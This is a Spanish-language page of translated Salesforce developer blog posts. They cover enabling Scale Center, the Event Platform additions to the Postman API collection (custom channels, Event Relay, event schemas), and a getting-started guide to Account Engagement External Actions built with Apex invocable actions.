- Ingrese "Centro de escala" en el cuadro Búsqueda rápida y haga clic en la pestaña Rendimiento de la organización en la hoja Rendimiento.
- Habilite Scale Center para su organización activando la opción Habilitar Scale Center .
Tenga en cuenta que las métricas de rendimiento pueden tardar hasta dos horas en aparecer después de habilitar Scale Center.
Más recursos
Sobre el Autor
Justin Saintil es Gerente de Producto Asociado en Salesforce y trabaja en la Cartera de Productos de Escalabilidad.
Obtenga las últimas publicaciones de blog de desarrolladores de Salesforce y episodios de podcast a través de Slack o RSS.
Agregar a Slack Suscríbete a RSS
Explore la API de la plataforma de eventos con la colección de cartero extendida ☁️
Esta es una traducción que desde EGA Futura ofrecemos como cortesía a toda la Ohana y comunidad de programadores , consultores , administradores y arquitectos de Salesforce para toda Iberoamérica .
El enlace a la publicación original, lo encontrarás al final de este artículo.
…
Para una gran cantidad de nuestros clientes, la plataforma Salesforce sirve como la piedra angular de sus sistemas de información y, por lo tanto, debe integrarse perfectamente con una amplia gama de sistemas de terceros. Entre las muchas opciones de integración disponibles se encuentra la plataforma de eventos de Salesforce.
En esta publicación, repasaremos brevemente la plataforma de eventos y luego exploraremos la nueva plataforma de eventos y las solicitudes de API que se agregaron a la colección de API de la plataforma de Salesforce en Postman. También aprenderá cómo introdujimos la capacidad de configurar Event Relays y canales personalizados con Postman.
Acerca de la plataforma de eventos de Salesforce
Event Platform consta de diferentes funciones que le permiten crear arquitecturas basadas en eventos gracias a Salesforce Event Bus.
Tipos de eventos
El bus de eventos de Salesforce admite dos tipos principales de eventos casi en tiempo real: eventos de plataforma y eventos de cambio.
Los eventos de la Plataforma permiten la comunicación dentro de la Plataforma y con sistemas externos. Estos eventos se pueden enviar y recibir con código personalizado o herramientas declarativas, como Flow. Hay eventos de plataforma estándar con campos predefinidos y eventos personalizados que puede crear con campos personalizados.
Los eventos de cambio son enviados automáticamente por la Plataforma cada vez que se crea, modifica, elimina o recupera un registro. Cada evento de cambio está vinculado a un objeto de Salesforce estándar o personalizado, y los campos de evento coinciden con los de su objeto principal.
Los eventos de plataforma y los eventos de cambio se pueden enviar y recibir gracias a una selección de dos tecnologías de transmisión: la biblioteca CometD heredada o la API Pub/Sub basada en gRCP más moderna . Independientemente de la tecnología o el tipo de evento, publica o se suscribe a eventos a través de canales dedicados.
Canales personalizados
Puede definir un canal personalizado para agrupar mensajes de eventos del mismo tipo (eventos de plataforma o eventos de cambio) en una transmisión. Por ejemplo, puede combinar eventos de cambio de cuenta, contacto y pedido en un solo canal personalizado CustomerUpdates__chn . Después de suscribirse a este canal, recibirá notificaciones sobre cambios en cualquiera de esos tres objetos.
Tenga en cuenta que los canales personalizados son compatibles con eventos de plataforma personalizados, pero no con eventos de plataforma estándar.
Además de la capacidad de agrupar varios eventos, los canales personalizados desbloquean dos funciones: filtrado de eventos y cambio de enriquecimiento de eventos.
El filtrado de eventos le permite configurar expresiones que filtran los eventos que se envían en un canal personalizado. Por ejemplo, podría crear un canal específico como UkLargeCustomerUpdates__chn que filtra las actualizaciones de la cuenta, donde el país de facturación es el Reino Unido y los ingresos anuales superan los 500k. El uso del filtrado de eventos ayuda a simplificar el código del lado del cliente, pero también ayuda a evitar los límites máximos de suscriptores simultáneos .
Los canales personalizados de Change Data Capture también otorgan la capacidad de declarar campos enriquecidos . Cuando se trabaja con eventos de cambio, solo se pasan los valores de campo actualizados en los datos del evento. Esta optimización puede ser problemática en ciertas situaciones, por ejemplo, cuando desea sincronizar con un sistema de terceros con una ID externa. En este caso, el ID externo no cambia, por lo que nunca forma parte de los datos del evento de cambio. Afortunadamente, el enriquecimiento de campos le permite declarar un canal personalizado en el que puede especificar campos que siempre se pasarán en el contexto de eventos de cambio.
Relevo de eventos
Event Relay le permite integrar perfectamente los eventos en tiempo real de Salesforce con Amazon Web Services (AWS). Gracias a Event Relay, los eventos de la plataforma y los eventos de Change Data Capture se envían a Amazon EventBridge a través de canales y los componentes de AWS pueden consumirlos directamente. Los componentes de AWS también pueden publicar eventos de plataforma de forma nativa.
Consulte esta publicación de Event Relay para obtener más información.
Antes del lanzamiento de Summer '23, Event Relay solo se podía configurar a través de las API. Ahora, hay una interfaz de usuario dedicada en Configuración. La única pieza que aún necesita crear a través de la API de herramientas o la API de metadatos son los canales personalizados.
Actualizaciones de Salesforce Event Platform para la colección Postman
En junio, actualizamos la colección de API de Salesforce Platform para Postman para incluir solicitudes para interactuar con Event Platform . Si no está familiarizado con Postman o la colección de API de plataforma, eche un vistazo al proyecto Quick Start: Connect Postman to Salesforce Trailhead para comenzar.
Canales personalizados
Nuestras nuevas solicitudes de Postman son un gran ahorro de tiempo ya que, a partir del lanzamiento de Summer '23, los canales personalizados solo se pueden configurar a través de metadatos o llamadas a la API de herramientas y no se pueden modificar directamente en la configuración de Salesforce.
Hemos introducido una serie de solicitudes para realizar operaciones de creación, lectura, actualización y eliminación (CRUD) en canales personalizados y los dos tipos de metadatos relacionados: PlatformEventChannel
(consulte los documentos ) y PlatformEventChannelMember
(consulte los documentos ).
A pesar de sus nombres, estos tipos de metadatos funcionan tanto para eventos de plataforma como para canales personalizados de eventos de cambio. Las únicas diferencias son que el valor del atributo ChannelType
debe establecerse en event
para eventos de plataforma o data
para eventos de cambio, y que el atributo EnrichedFields
solo está disponible para canales personalizados de eventos de cambio.
Publicar eventos de la plataforma
Hemos agregado una serie de ejemplos para eventos de plataforma de publicación. Movimos la solicitud de la API REST existente a la nueva subcarpeta Publicar eventos de la plataforma y agregamos dos ejemplos para publicar varios eventos en una sola solicitud con la API compuesta y la API SOAP.
Configuración de retransmisión de eventos
La carpeta Configuración de retransmisión de eventos es donde se encuentran la mayoría de las solicitudes nuevas. Estas nuevas solicitudes son fundamentales para configurar un relevo de eventos:
- Operaciones CRUD en Credenciales con nombre que se introdujeron en Summer '23
- Operaciones CRUD en la configuración de Event Relay
- Comentarios de retransmisión de eventos de consultoría
esquema de eventos
Agregamos dos nuevas solicitudes para recuperar el esquema de un evento de plataforma, ya sea desde su ID o desde su nombre . Estas solicitudes son útiles para recuperar los campos de los eventos.
Lo que nos depara la colección Postman
Invertimos continuamente en nuestra colección de API de plataforma y buscamos agregar soporte para la suscripción a eventos de la API Pub Sub. CometD no será compatible, ya que es una biblioteca que requiere un servidor de aplicaciones, pero estamos considerando conectarnos con la API Pub/Sub basada en gRPC .
Postman ha lanzado una serie de funciones para interactuar con las API de gRPC desde el año pasado. Gracias a esto, podemos conectarnos a la API de Pub/Sub, suscribirnos a eventos y recibirlos. Sin embargo, lamentablemente no podemos decodificar su carga útil, ya que está comprimida por la plataforma de Salesforce por motivos de rendimiento. Estamos esperando una nueva característica de Postman que nos permita cargar una biblioteca (Apache Avro) para decodificar las cargas útiles de eventos cuando se reciben.
palabras de cierre
Eso es todo para nuestra breve descripción general de Event Platform y las últimas incorporaciones a la colección de API de Salesforce Platform. Gracias al crecimiento de esta caja de herramientas, puede comenzar rápidamente a explorar y configurar Event Platform.
Si disfruta de nuestro contenido de Postman, háganoslo saber. También puede echar un vistazo a nuestras otras colecciones de código abierto y contribuir .
Recursos
Sobre el Autor
Philippe Ozil es un defensor principal de desarrolladores en Salesforce, donde se enfoca en la plataforma de Salesforce. Escribe contenido técnico y habla con frecuencia en conferencias. Es un desarrollador full-stack y disfruta trabajar en proyectos DevOps, robótica y VR. Sígalo en Twitter @PhilippeOzil o consulte sus proyectos de GitHub @pozil .
Obtenga las últimas publicaciones de blog de desarrolladores de Salesforce y episodios de podcast a través de Slack o RSS.
Agregar a Slack Suscríbete a RSS
Comenzando con Acciones Externas ☁️
Esta es una traducción que desde EGA Futura ofrecemos como cortesía a toda la Ohana y comunidad de programadores , consultores , administradores y arquitectos de Salesforce para toda Iberoamérica .
El enlace a la publicación original, lo encontrarás al final de este artículo.
…
Tuve excelentes conversaciones con clientes y socios en Connections este año, así como a través de la comunidad Trailblazer de MC Account Engagement , con respecto a las acciones externas de Account Engagement . Seguía surgiendo una pregunta: "¿Cómo empiezo con las acciones externas?" En esta publicación, aprenderá qué son las acciones externas, cómo configurarlas y cómo probarlas. Además, sintonice una próxima sesión de codeLive el 20 de julio a las 10 a. m. PT , donde realizaré una demostración de codificación en vivo para mostrarle cómo crear una acción externa y responder sus preguntas.
¿Qué son las Acciones Externas?
Las acciones externas son una parte clave deMarketing App Extensions , ya que proporcionan una forma de desencadenar una acción en un sistema externo. El otro componente es Actividades externas, que proporciona una forma de activar la automatización de la participación de la cuenta en función de un evento de participación que ocurre en un sistema externo. Piense en ello como las dos caras de una moneda, las acciones se activan, las actividades se activan. Combinadas, forman una aplicación de extensibilidad de automatización para un servicio, por lo que puede tener una extensión de aplicación de marketing por SMS, por ejemplo.
Por este motivo, las acciones externas se empaquetan en una extensión de aplicación de marketing. En el momento de escribir este artículo, las actividades externas aún no se pueden empaquetar, pero eventualmente también se empaquetarán en la extensión de la aplicación de marketing.
Si desea conectar una aplicación de terceros para automatizar la ejecución de una acción de prospecto en ese sistema, entonces esta es definitivamente la función para usted. En esta publicación, profundizaremos en el lado de la acción externa de las extensiones de aplicaciones de marketing.
¿Cuáles son algunos buenos casos de uso para las acciones externas?
Bueno, si me preguntan, ¡diría absolutamente todo! Puede que estés pensando: “¡Claro, todo el mundo dice eso!”. Sin embargo, las posibilidades que desbloquean las acciones externas son realmente amplias. Si alguna vez ha dicho: "Me gustaría que cuando un prospecto llegue a este paso, yo pudiera <insertar deseo aquí>", entonces deseaba una acción externa.
Puede usar una acción externa para registrarse en un seminario web de Zoom desde Account Engagement (consulte el ejemplo en GitHub ). También puede usar una acción externa para enviar un mensaje SMS a través de Twilio, que presentamos en una publicación de blog anterior . Incluso puedes usar acciones externas con webhooks; Usé la función de captura de webhook de Zapier para crear una acción externa que usaba un cliente potencial como desencadenante de un Zap.
¿Qué constituye una acción externa?
Una acción externa consta de una acción invocable de Apex, metadatos de la extensión de la aplicación de marketing, metadatos de una acción externa y una forma de gestionar la autenticación. Los metadatos para las extensiones de la aplicación de marketing y las actividades externas conectan la acción invocable con la participación de la cuenta. Los componentes que se usarán para la autenticación pueden variar según el tipo de autenticación que admita el servicio. Como OAUTH 2.0 es bastante común, el componente que uso más es un proveedor de autorización y Credenciales con nombre . Las credenciales con nombre también facilitan la administración de la autenticación en mi código, y el sistema hace la mayor parte del trabajo.
¿Qué habilidades necesito para trabajar con Acciones Externas?
Con una gran flexibilidad viene la complejidad, por lo que necesitará algunas habilidades en ciertas áreas para construir con éxito una acción externa. Los siguientes son temas clave de los que necesitará una comprensión básica antes de abordar su propia acción externa.
SLDC de Salesforce
Comprender el ciclo de vida del desarrollo de Salesforce es muy importante para tener éxito en general. Recomiendo aprender Visual Studio y el proceso de implementación de la CLI. No se necesita maestría, solo lo básico para poder empezar. Trailhead ofrece una ruta para ayudarlo a configurar su espacio de trabajo .
Documentación de la API REST
El patrón del que hablamos en este artículo se basa en las API REST JSON. Para comprender lo que es posible y recopilar las entradas pertinentes para una acción externa, debe poder leer una especificación API. Consulte las especificaciones de la API de Account Engagement y Twilio .
Implementación de Apex y Apex
Apex Invocable Actions es mi forma preferida de codificar mis acciones externas, ya que me permite la mayor flexibilidad y control. Recomendaría, como mínimo, familiarizarse con la compilación y la implementación de código Apex mediante el proyecto Quick Start: Apex de Trailhead. Para obtener más información, encontré útil el trailmix de Apex Basics . No necesita convertirse en un experto, pero al menos debe estar lo suficientemente informado como para poder leer el código de la aplicación de referencia .
Flujo de Salesforce (opcional)
No necesita conocer Salesforce Flow para aprender Acciones externas. Sin embargo, es una herramienta de prueba muy poderosa para sus acciones externas, lo que facilita la creación de una interfaz de usuario para controlar las entradas durante la prueba. Si está familiarizado con Engagement Studio, Flow será bastante fácil ya que tiene muchos de los mismos conceptos. Utilicé la ruta Crear flujos con Flow Builder para ponerme al día. Otro beneficio de aprender Salesforce Flow es que abre la puerta a la creación de todo tipo de automatización de procesos comerciales.
¿Cómo debo configurar mi entorno de desarrollador?
Es importante configurar sus entornos de desarrollador y contar con las herramientas adecuadas antes de comenzar con las acciones externas. Yo uso las siguientes herramientas.
- Postman : utilizo Postman para explorar una nueva API, por lo que puedo aprender a realizar una solicitud y responder de forma sencilla. Postman también proporciona una manera fácil de generar ejemplos.
- CLI de Visual Studio + Salesforce — Uso Visual Studio para codificar mi acción invocable y la implemento en mi organización de desarrollador. La mayoría de las veces, es simplemente copiar y pegar un ejemplo anterior y editarlo para mi nuevo caso de uso.
- Entorno de desarrollador/sandbox : este es un entorno seguro para construir, desarrollar y empaquetar sus acciones externas. Tenga en cuenta que, en el momento de escribir este artículo, solo admitimos paquetes de primera generación (1GP) , por lo tanto, no configure su organización de desarrollador como Dev Hub.
- Salesforce Flow : personalmente me gusta usar ScreenFlows para probar una acción invocable. Es bueno poder controlar completamente la entrada antes de conectarla a acciones externas y programas ES.
- Consola de desarrollador de Salesforce : esto le permite ver rápidamente el código o ver los registros de sus pruebas de flujo de pantalla.
Patrón básico para llamadas API REST con acciones externas
Si bien puede codificar acciones externas de muchas maneras, existe un patrón básico que recomiendo al realizar llamadas a la API REST.
Las dos etiquetas que debe recordar son InvocableVariable
, que define las entradas y salidas de la acción invocable, e InvocableMethod
, que es el método a llamar al ejecutar la acción invocable. Puede ver cómo se aplican en el siguiente código de ejemplo.
Normalmente creo dos clases, una para la entrada y otra para la solicitud de API. Separar mi código en dos clases facilita jsonificar la carga útil. Mi clase de entrada contiene todos los campos de variables invocables que la acción invocable necesita en la entrada. Mi solicitud de API contiene los campos de la solicitud JSON.
InvocableMethod
construirá la carga útil a partir de la entrada, la convertirá a JSON y luego la agregará a la solicitud HTTP. A continuación, configura el resto de la solicitud HTTP agregando la URL, los encabezados y el método. Finalmente, realiza la llamada a la API y comprueba si el resultado es correcto o, de lo contrario, genera un error útil para diagnosticar un problema.
Consideración importante: el marco de acción externa espera que se devuelva un error si hay una falla en lugar de detectar el error y luego devolver el éxito. Si se devuelve un error, se informará en la tabla de errores.
Poniendo a prueba tus acciones externas
De vez en cuando, mientras crea una acción externa, encontrará errores. Cuanto más pueda probar sobre la marcha, más fácil será descubrir dónde radica el problema. Es por eso que recomiendo agregar un paso de prueba para probar en Salesforce Flow antes de probar en Engagement Studio. Elimina la configuración de la acción externa de la imagen, por lo que si la verifica aquí, pero no funciona en Engagement Studio, sabrá que el problema radica en la configuración de la acción externa.
Las pruebas lo ayudan a identificar errores, pero determinar la causa raíz y corregirlos es otra cosa. A continuación se presentan algunas de las técnicas que utilizo para diagnosticar las causas fundamentales.
- Consola de desarrollador de Salesforce : utilizo la consola de desarrollo para ejecutar mis casos de prueba y confirmar la cobertura de mi código. Durante las pruebas exploratorias en Flow, mantengo abierta mi consola de desarrollo, por lo que genera registros para usar en la investigación de errores.
- Rastreos de registro de Salesforce : si el error ocurre durante mi prueba de Engagement Studio, coloco un rastreo de usuario en el usuario de integración B2BMA, para poder ver mis registros de Apex y diagnosticar el problema más a fondo. Tenga cuidado, podría terminar con una gran cantidad de datos. El Usuario de Integración B2BMA es el usuario que ejecuta acciones externas.
- Errores de acción externa de compromiso de cuenta : la tabla proporciona cualquier error devuelto por la acción externa que resultó en una falla. Es útil ver lo que sucedió durante una ejecución de ES.
SUGERENCIA: si tiene una cuenta de Gmail, puede usar un "+" para crear varios registros con su dirección de correo electrónico. Por ejemplo, puedo registrar tanto "ejemplo@ejemplo.com" como "ejemplo+usuario2@ejemplo.com" como prospecto, y cualquier correo enviado a esas direcciones iría al buzón de correo de ejemplo@ejemplo.com. Por ejemplo, usé esto para probar el ejemplo de registro de Zoom porque no quería que el correo electrónico registrado rebotara.
Errores comunes
Los errores van a suceder, así es la vida. Me he encontrado con algunos escenarios que me han hecho casi tirarme de los pelos.
El primero es garantizar que la acción exterior sea activa. Si la acción no aparece en Engagement Studio, es probable que esta sea la causa. Recuerde, debe activar tanto la extensión de la aplicación de marketing como la acción externa, además de asignarla a esa unidad comercial.
El siguiente es asegurarse de que su clase de Apex esté activa. La mayoría de las veces ya estará marcado como activo, es el estado predeterminado cuando creas una nueva clase. Es exactamente por eso que es fácil pasarlo por alto.
Otro es buscar extensiones de aplicaciones de marketing al empaquetar. No puedo decirte cuántas veces busco acciones externas, solo para tener un momento de confusión antes de recordar.
Finalmente, si su acción externa no funciona, pero no ve errores, verifique que la acción invocable fue diseñada para generar un error en caso de falla.
Lo anterior no es de ninguna manera exhaustivo, y es probable que encuentre sus propias alegrías. Sin embargo, recomiendo compartirlos con la comunidad si encuentra algunos buenos.
¿Que estas esperando? ¡Empiece hoy!
Ahora sabe casi todo lo que hago sobre las acciones externas, desde cómo funciona la función hasta los errores comunes. Recuerde que Acciones externas es su herramienta siempre que se encuentre diciendo: "Me gustaría hacer algo cuando el cliente potencial haga esto", y lo ayudará a automatizar esa acción.
Entonces, configure su entorno de desarrollador, revise la aplicación de referencia y comience a construir su acción externa hoy. El 20 de julio a las 10 a. m. (hora del Pacífico) , realizaremos una sesión de CodeLive en nuestro canal de YouTube para desarrolladores de Salesforce , así que únase y síganos mientras construimos una extensión de la aplicación de marketing de Twilio.
Recursos
Sobre el Autor
Christopher Cornett es gerente sénior de productos en Salesforce, responsable de la experiencia del desarrollador de Account Engagement. Ha trabajado para Salesforce durante más de cuatro años y tiene más de 13 años de experiencia en gestión de productos, trabajando principalmente en plataformas que van desde la atribución de big data hasta el fraude. Christopher ha ayudado a ofrecer API V5 y extensiones de aplicaciones de marketing, ayudando a los clientes a crear integraciones personalizadas para que su pila de marketing funcione para ellos. Le apasiona la experiencia del desarrollador y le encanta jugar con todas las excelentes funciones para ver qué es posible.
Obtenga las últimas publicaciones de blog de desarrolladores de Salesforce y episodios de podcast a través de Slack o RSS.
Agregar a Slack Suscríbete a RSS